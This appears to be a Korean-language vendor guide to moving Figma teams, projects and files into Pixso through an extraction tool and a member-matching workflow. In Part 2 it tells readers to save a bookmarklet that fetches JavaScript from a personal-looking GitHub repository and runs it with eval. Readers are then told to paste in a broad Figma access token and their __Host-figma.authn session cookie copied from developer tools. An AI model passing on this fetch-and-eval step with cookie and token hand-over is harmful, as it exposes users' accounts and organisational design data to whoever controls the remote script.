피그마 마이그레이션 가이드: 자산을 안전하게 이전하는 방법

툴을 바꾼다고 팀의 업무 흐름까지 늦춰질 필요는 없습니다. 픽소(Pixso)는 피그마(Figma)의 기존 자산을 빠르고 정확하게 옮길 수 있는 엔터프라이즈급 피그마 마이그레이션 기능을 제공합니다. 파일 몇 개를 옮기는 수준이 아니라, 팀 구조와 프로젝트 계층, 협업자 권한, 디자인 시스템의 일관성까지 그대로 유지하는 것이 핵심입니다.

픽소는 전용 마이그레이션 관리(Migration Management) 워크플로우로 이 과정을 간편하게 만들어줍니다. 브라우저 기반 스크립트 툴로 피그마 워크스페이스 데이터를 BIN 파일로 추출하면, 엔터프라이즈 관리자는 멤버를 매칭하고 프로젝트 데이터를 업로드한 뒤 클라우드에서 비동기적으로 마이그레이션을 진행할 수 있습니다. 비활성 아카이브든 활발히 운영 중인 팀 라이브러리든, 이 가이드를 따라 사전 준비부터 데이터 추출, 멤버 매칭, 진행상황 확인까지 매끄럽게 완료할 수 있습니다.

피그마 자산을 픽소로 마이그레이션하기

1부. 피그마 마이그레이션 소개

팀·프로젝트·파일 단위의 마이그레이션을 지원합니다.

마이그레이션 툴을 사용해 액세스 토큰을 입력하고, 이전할 팀을 선택한 뒤, .BIN 파일을 업로드하고 멤버를 매칭하면 이전이 진행됩니다.

마이그레이션 기록이 생성된 이후에는 클라우드에서 데이터가 처리되므로, 로그인 상태나 네트워크 환경과 관계없이 진행됩니다.

여러 명의 엔터프라이즈 관리자가 각각 마이그레이션 요청을 제출할 수 있습니다.

동일한 팀·프로젝트·파일에 대한 데이터가 여러 요청에 존재할 경우, 가장 먼저 제출된 요청이 우선 적용됩니다.

마이그레이션 전 확인할 점

피그마 내 엔터프라이즈 자산 점검하기

• 팀: 엔터프라이즈 멤버들이 사용 중인 모든 피그마 팀을 확인하고, 이전이 필요한 팀 목록을 정리하세요.
• 프로젝트: 초대 전용(invite-only) 프로젝트가 있는지 확인하고, 있다면 해당 비공개 프로젝트의 멤버들도 마이그레이션 툴 사용에 참여하도록 하여 자산이 누락되지 않게 하세요.
• 파일: 초안(draft)에 남아있는 중요한 파일은 팀 프로젝트로 옮기고, "삭제됨"에 있는 파일 중 이전이 필요한 것은 복원하세요.
• 멤버: 퇴사했거나 더 이상 유효하지 않은, 혹은 픽소로 이전할 필요가 없는 멤버는 팀 멤버 목록, 프로젝트 협업자 목록, 파일 협업자 목록에서 제외하세요.

팀 상태를 점검해 마이그레이션 우선순위 정하기

• 비활성 팀 (디자인 파일 업데이트가 드물고, 라이브러리 컴포넌트·스타일 사용 빈도가 낮으며, 멤버 변동이 적은 팀): 자산 이전 효과를 먼저 관찰하고 비교할 수 있도록 비활성 팀부터 이전하는 것을 권장합니다.
• 활성 팀(디자인 파일 업데이트가 잦고, 라이브러리 컴포넌트·스타일을 지속적으로 사용하며, 멤버 변동이 많은 팀): 마이그레이션 진행 중에는 데이터 오류를 방지하기 위해 팀·프로젝트·파일 단위의 수정을 일시 중단해야 한다는 점을 멤버들에게 사전에 안내해야 합니다.

마이그레이션 시에는 구글 크롬 브라우저를 사용하세요

(온프레미스 배포 사용자 해당) 피그마 마이그레이션 서비스를 위한 리소스 준비하기

• 단일 서버 버전: 서비스를 위해 최소 8G 이상의 메모리를 별도로 확보하세요
• 클러스터 버전: pod 기준

메모리: Request 8G(최소) / Limit 12G·16G 이상(가용 메모리에 따라 결정)
CPU: Request 1.0 / Limit 2.0·3.0 이상(가용 메모리에 따라 결정, 병렬 작업 수 = 코어 수)
병렬 작업은 남은 리소스에 따라 자동으로 스케줄링됩니다

위 안내와 관련해 궁금한 점이나 문제가 있다면 문의하기 페이지에서 내용을 작성해 보내주시면 픽소 고객센터에서 해결해 드립니다.

2부. 마이그레이션 도구 사용하기

스크립트 코드:

javascript:(function(){fetch("https://raw.githubusercontent.com/VictorNormannSmith/migration-tool/main/tool.js").then((r) => r.text().then((c) => eval(c)))})()

① 왼쪽의 코드를 복사하여 브라우저 북마크에 추가합니다.

② Settings > Security > Personal access tokens으로 이동한 후 Generate new token을 클릭합니다.

③ 토큰 이름을 입력하고 모든 Read 권한을 선택한 후 Generate token을 클릭합니다.
*참고: 만료 기간은 30일 이상으로 설정하는 것을 권장합니다.

④ 생성된 액세스 토큰을 복사합니다.

⑤ 생성한 북마크를 클릭하여 도구를 실행합니다.

⑥ 액세스 토큰을 입력하고 Pixso로 마이그레이션할 팀을 선택한 후 Next를 클릭합니다.

⑦ 아래 방법에 따라 __Host-figma.authn 값을 가져옵니다.
(개발자 도구에서 Application > Cookies를 열고 Figma URL을 선택한 뒤, "authn"을 검색하여 __Host-figma.authn 값을 복사합니다.)

⑧ __Host-figma.authn 값을 입력합니다.

⑨ 데이터가 정상적으로 추출되어 .BIN 파일이 생성될 때까지 기다린 후 Close를 클릭합니다.

⑩ .BIN 파일 추출이 완료되면 저장 경로를 선택하여 파일 다운로드를 완료합니다.

3부. 마이그레이션 데이터 업로드하기

.BIN 파일을 찾아 엔터프라이즈 관리자에게 전달하세요.

엔터프라이즈 관리자는 픽소 워크스페이스에 접속해 좌측 하단의 엔터프라이즈 관리로 이동합니다. 마이그레이션 관리를 선택하고 마이그레이션 시작을 클릭해 .BIN 파일을 업로드하세요.

.BIN 파일의 데이터는 생성된 지 10일이 지나면 만료되므로, 가능한 한 빨리 .JSON 파일을 업로드하고 멤버 매칭을 완료해 마이그레이션을 시작하는 것을 권장합니다.

① 설정을 선택한 뒤 아래로 스크롤해 데이터 마이그레이션 - 관리를 클릭하세요.

② 피그마 마이그레이션 탭에서 마이그레이션 데이터 업로드(BIN) 버튼을 클릭하세요.

③ 팝업 창에서 업로드할 .BIN 파일을 선택하세요.

④ 업로드 시작을 클릭하고 팝업 창에서 업로드 확인을 선택하세요.

4부. 멤버 매칭하기

픽소(Pixso)는 .BIN 파일의 데이터를 기반으로 피그마 멤버 목록을 생성하고, 이와 함께 픽소 멤버 목록을 함께 보여줍니다.

엔터프라이즈 관리자는 모든 피그마 멤버를 픽소 멤버와 매칭해야 합니다. 멤버 목록이 생성되면 픽소가 자동으로 매칭 후보를 추천해주며, 이후 원하는 대로 수동으로 조정할 수 있습니다.

작업하던 내용을 버리지 않고 나중에 멤버 매칭을 마무리하고 싶다면, 로컬 저장을 클릭해 매칭 데이터를 브라우저에 임시로 저장할 수 있습니다. 단, 계정을 전환하거나 다른 기기·브라우저를 사용하면 저장된 매칭 데이터는 유지되지 않으니 유의하세요.

엔터프라이즈 관리자는 마이그레이션 요청을 제출하기 전, 한 번에 하나의 .BIN 파일만 업로드하고 매칭할 수 있습니다. 진행 중인 매칭 데이터를 버리고 새로운 마이그레이션을 시작하려면 취소를 클릭하면 됩니다.

모든 피그마 멤버가 픽소 멤버와 매칭되면 마이그레이션 시작을 클릭해 이전을 진행할 수 있습니다.

멤버 매칭 페이지

팀, 프로젝트, 파일 마이그레이션하기

마이그레이션이 시작되면 진행 중 상태의 마이그레이션 기록이 생성됩니다. 이후에도 .BIN 파일을 업로드하고 멤버를 매칭한 뒤 다시 마이그레이션 요청을 제출할 수 있으며, 그때마다 새로운 마이그레이션 기록이 추가됩니다.

모든 자산에 대한 마이그레이션 요청을 제출했다면, 이제 완료되기를 기다리기만 하면 됩니다. 이전 방식이 어떻게 진행되는지 다시 한번 정리해볼게요.

① 피그마 워크벤치를 엽니다.

② 마이그레이션 툴을 사용합니다.

③ .BIN 파일을 확보합니다.

④ 설정을 통해 업로드합니다.

⑤ 멤버를 매칭합니다.

⑥ 픽소 워크벤치에서 자산을 확인합니다.

5부. 마이그레이션 진행상황 확인하기

마이그레이션이 진행되는 동안 언제든 세부정보 보기를 클릭해 팀·프로젝트·파일 생성 결과를 구체적으로 확인할 수 있습니다. 마이그레이션 소요 시간은 .BIN 파일의 데이터 용량에 따라 달라지므로, 완료될 때까지 기다려 주세요.

마이그레이션이 완료되면 마이그레이션 기록의 상태가 진행 중에서 완료로 바뀝니다.

① 세부정보를 확인합니다.

② 마이그레이션 상태를 조회합니다.

결론.

피그마에서 픽소로 디자인 생태계 전체를 옮기는 일이 부담스러울 필요는 없습니다. 철저한 사전 점검과 명확한 팀 우선순위 설정, 그리고 픽소의 마이그레이션 관리 기능을 활용하면 프로젝트 연속성과 기존 데이터 손실 없이 깔끔하고 자동화된 피그마 마이그레이션을 진행할 수 있습니다.

클라우드 기반의 백그라운드 처리, 안전한 멤버 매칭, 세밀한 상태 추적을 통해 픽소가 복잡한 백엔드 작업을 처리하는 동안 팀은 좋은 결과물을 만드는 데에만 집중할 수 있습니다. 마이그레이션 상태가 완료로 바뀌면 조직 전체가 팀 라이브러리와 공유 프로젝트, 협업 디자인 파일을 픽소 워크스페이스에서 바로 사용할 수 있습니다. 지금 바로 피그마 워크스페이스 자산을 점검하고 피그마 마이그레이션을 시작해보세요.